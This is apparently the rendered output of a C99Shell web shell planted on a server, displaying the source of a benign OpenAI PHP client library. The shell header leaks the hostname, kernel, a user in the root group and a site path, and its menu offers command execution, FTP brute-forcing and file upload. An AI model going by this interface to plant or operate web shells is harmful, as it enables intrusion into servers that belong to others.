!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/orhanerday/open-ai/src/   drwxr-xr-x
Free 29.06 GB of 117.98 GB (24.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OpenAi.php (12.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Orhanerday\OpenAi;

use 
Exception;

class 
OpenAi
{
    private 
string $engine "davinci";
    private 
string $model "text-davinci-002";
    private 
string $chatModel "gpt-3.5-turbo";
    private array 
$headers;
    private array 
$contentTypes;
    private 
int $timeout 0;
    private 
object $stream_method;
    private 
string $customUrl "";
    private 
string $proxy "";
    private array 
$curlInfo = [];

    public function 
__construct($OPENAI_API_KEY)
    {
        
$this->contentTypes = [
            
"application/json"    => "Content-Type: application/json",
            
"multipart/form-data" => "Content-Type: multipart/form-data",
        ];

        
$this->headers = [
            
$this->contentTypes["application/json"],
            
"Authorization: Bearer $OPENAI_API_KEY",
        ];
    }

    
/**
     * @return array
     * Remove this method from your code before deploying
     */
    
public function getCURLInfo()
    {
        return 
$this->curlInfo;
    }

    
/**
     * @return bool|string
     */
    
public function listModels()
    {
        
$url Url::fineTuneModel();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $model
     * @return bool|string
     */
    
public function retrieveModel($model)
    {
        
$model "/$model";
        
$url   Url::fineTuneModel().$model;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $opts
     * @return bool|string
     * @deprecated
     */
    
public function complete($opts)
    {
        
$engine $opts['engine'] ?? $this->engine;
        
$url    Url::completionURL($engine);
        unset(
$opts['engine']);
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param        $opts
     * @param  null  $stream
     * @return bool|string
     * @throws Exception
     */
    
public function completion($opts$stream null)
    {
        if (
array_key_exists('stream'$opts) && $opts['stream']) {
            if (
$stream == null) {
                throw new 
Exception(
                    
'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.'
                
);
            }

            
$this->stream_method $stream;
        }

        
$opts['model'] = $opts['model'] ?? $this->model;
        
$url           Url::completionsURL();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function createEdit($opts)
    {
        
$url Url::editsUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function image($opts)
    {
        
$url Url::imageUrl()."/generations";
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function imageEdit($opts)
    {
        
$url Url::imageUrl()."/edits";
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function createImageVariation($opts)
    {
        
$url Url::imageUrl()."/variations";
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     * @deprecated
     */
    
public function search($opts)
    {
        
$engine $opts['engine'] ?? $this->engine;
        
$url    Url::searchURL($engine);
        unset(
$opts['engine']);
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     * @deprecated
     */
    
public function answer($opts)
    {
        
$url Url::answersUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     * @deprecated
     */
    
public function classification($opts)
    {
        
$url Url::classificationsUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function moderation($opts)
    {
        
$url Url::moderationUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param        $opts
     * @param  null  $stream
     * @return bool|string
     * @throws Exception
     */
    
public function chat($opts$stream null)
    {
        if (
$stream != null && array_key_exists('stream'$opts)) {
            if (!
$opts['stream']) {
                throw new 
Exception(
                    
'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.'
                
);
            }

            
$this->stream_method $stream;
        }

        
$opts['model'] = $opts['model'] ?? $this->chatModel;
        
$url           Url::chatUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function transcribe($opts)
    {
        
$url Url::transcriptionsUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function translate($opts)
    {
        
$url Url::translationsUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function uploadFile($opts)
    {
        
$url Url::filesUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @return bool|string
     */
    
public function listFiles()
    {
        
$url Url::filesUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $file_id
     * @return bool|string
     */
    
public function retrieveFile($file_id)
    {
        
$file_id "/$file_id";
        
$url     Url::filesUrl().$file_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $file_id
     * @return bool|string
     */
    
public function retrieveFileContent($file_id)
    {
        
$file_id "/$file_id/content";
        
$url     Url::filesUrl().$file_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $file_id
     * @return bool|string
     */
    
public function deleteFile($file_id)
    {
        
$file_id "/$file_id";
        
$url     Url::filesUrl().$file_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'DELETE');
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function createFineTune($opts)
    {
        
$url Url::fineTuneUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @return bool|string
     */
    
public function listFineTunes()
    {
        
$url Url::fineTuneUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $fine_tune_id
     * @return bool|string
     */
    
public function retrieveFineTune($fine_tune_id)
    {
        
$fine_tune_id "/$fine_tune_id";
        
$url          Url::fineTuneUrl().$fine_tune_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $fine_tune_id
     * @return bool|string
     */
    
public function cancelFineTune($fine_tune_id)
    {
        
$fine_tune_id "/$fine_tune_id/cancel";
        
$url          Url::fineTuneUrl().$fine_tune_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST');
    }

    
/**
     * @param $fine_tune_id
     * @return bool|string
     */
    
public function listFineTuneEvents($fine_tune_id)
    {
        
$fine_tune_id "/$fine_tune_id/events";
        
$url          Url::fineTuneUrl().$fine_tune_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $fine_tune_id
     * @return bool|string
     */
    
public function deleteFineTune($fine_tune_id)
    {
        
$fine_tune_id "/$fine_tune_id";
        
$url          Url::fineTuneModel().$fine_tune_id;
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'DELETE');
    }

    
/**
     * @param
     * @return bool|string
     * @deprecated
     */
    
public function engines()
    {
        
$url Url::enginesUrl();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $engine
     * @return bool|string
     * @deprecated
     */
    
public function engine($engine)
    {
        
$url Url::engineUrl($engine);
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'GET');
    }

    
/**
     * @param $opts
     * @return bool|string
     */
    
public function embeddings($opts)
    {
        
$url Url::embeddings();
        
$this->baseUrl($url);

        return 
$this->sendRequest($url'POST'$opts);
    }

    
/**
     * @param  int  $timeout
     */
    
public function setTimeout(int $timeout)
    {
        
$this->timeout $timeout;
    }

    
/**
     * @param  string  $proxy
     */
    
public function setProxy(string $proxy)
    {
        if (
$proxy && strpos($proxy'://') === false) {
            
$proxy 'https://'.$proxy;
        }
        
$this->proxy $proxy;
    }

    
/**
     * @param  string  $customUrl
     * @deprecated
     */

    /**
     * @param  string  $customUrl
     * @return void
     */
    
public function setCustomURL(string $customUrl)
    {
        if (
$customUrl != "") {
            
$this->customUrl $customUrl;
        }
    }

    
/**
     * @param  string  $customUrl
     * @return void
     */
    
public function setBaseURL(string $customUrl)
    {
        if (
$customUrl != '') {
            
$this->customUrl $customUrl;
        }
    }

    
/**
     * @param  array  $header
     * @return void
     */
    
public function setHeader(array $header)
    {
        if (
$header) {
            foreach (
$header as $key => $value) {
                
$this->headers[$key] = $value;
            }
        }
    }

    
/**
     * @param  string  $org
     */
    
public function setORG(string $org)
    {
        if (
$org != "") {
            
$this->headers[] = "OpenAI-Organization: $org";
        }
    }

    
/**
     * @param  string  $url
     * @param  string  $method
     * @param  array   $opts
     * @return bool|string
     */
    
private function sendRequest(string $urlstring $method, array $opts = [])
    {
        
$post_fields json_encode($opts);

        if (
array_key_exists('file'$opts) || array_key_exists('image'$opts)) {
            
$this->headers[0] = $this->contentTypes["multipart/form-data"];
            
$post_fields      $opts;
        } else {
            
$this->headers[0] = $this->contentTypes["application/json"];
        }
        
$curl_info = [
            
CURLOPT_URL            => $url,
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_ENCODING       => '',
            
CURLOPT_MAXREDIRS      => 10,
            
CURLOPT_TIMEOUT        => $this->timeout,
            
CURLOPT_FOLLOWLOCATION => true,
            
CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_1_1,
            
CURLOPT_CUSTOMREQUEST  => $method,
            
CURLOPT_POSTFIELDS     => $post_fields,
            
CURLOPT_HTTPHEADER     => $this->headers,
        ];

        if (
$opts == []) {
            unset(
$curl_info[CURLOPT_POSTFIELDS]);
        }

        if (!empty(
$this->proxy)) {
            
$curl_info[CURLOPT_PROXY] = $this->proxy;
        }

        if (
array_key_exists('stream'$opts) && $opts['stream']) {
            
$curl_info[CURLOPT_WRITEFUNCTION] = $this->stream_method;
        }

        
$curl curl_init();

        
curl_setopt_array($curl$curl_info);
        
$response curl_exec($curl);

        
$info           curl_getinfo($curl);
        
$this->curlInfo $info;

        
curl_close($curl);

        if (!
$response) throw new Exception(curl_error($curl));
        
        return 
$response;
    }

    
/**
     * @param  string  $url
     */
    
private function baseUrl(string &$url)
    {
        if (
$this->customUrl != "") {
            
$url str_replace(Url::ORIGIN$this->customUrl$url);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--